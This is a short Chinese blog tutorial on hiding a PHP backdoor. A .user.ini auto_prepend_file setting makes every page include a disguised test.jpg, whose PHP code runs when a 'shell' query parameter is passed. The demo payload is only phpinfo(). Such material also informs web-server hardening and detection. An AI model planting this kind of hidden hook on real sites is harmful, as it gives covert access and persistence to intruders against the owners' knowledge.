利用.user.ini檔案隱藏後門

WaxToday發表於2024-03-08

0x00 前言

在PHP中有個很有趣的東西叫.user.ini,有點類似.htaccess檔案,PHP會在每個目錄下掃描INI檔案,我們可以透過.user.ini檔案來實現隱藏後門的效果
官方手冊地址:傳送門

透過閱讀手冊,我們知道在.user.ini中可以識別PHP_INI_PERDIRPHP_INI_USER模式的INI設定

關於PHP_INI_*一共有四種:

模式 含義
PHP_INI_USER 可在使用者指令碼以及.user.ini中設定
PHP_INI_PERDIR 可在php.ini,.htaccess或httpd.conf中設定
PHP_INI_SYSTEM 可在php.ini或httpd.conf中設定
PHP_INI_ALL 可在任何地方設定

查閱php.ini配置選項列表手冊

發現了一個比較有意思的配置項:auto_prepend_file

該配置項會讓php檔案在執行前先包含一個指定的檔案,透過這個配置項,我們就可以來隱藏自己的後門

0x01 Action

這裡由於要使用FastCgi解析php,所以在PHPStudy裡面選的環境是php-5.6.27-nts + Nginx

然後在目錄下建立一個.user.ini檔案,內容如下

auto_prepend_file=test.jpg

然後再建立一個test.jpg檔案,內容如下

<?php 
	if(@$_GET['shell']=='test'){
		phpinfo();
	}
?>

這時,我們訪問一個正常的php檔案

然後再帶上引數shell=test

就可以實現我們的隱藏後門了,具體如何利用就看各位的腦洞

相關文章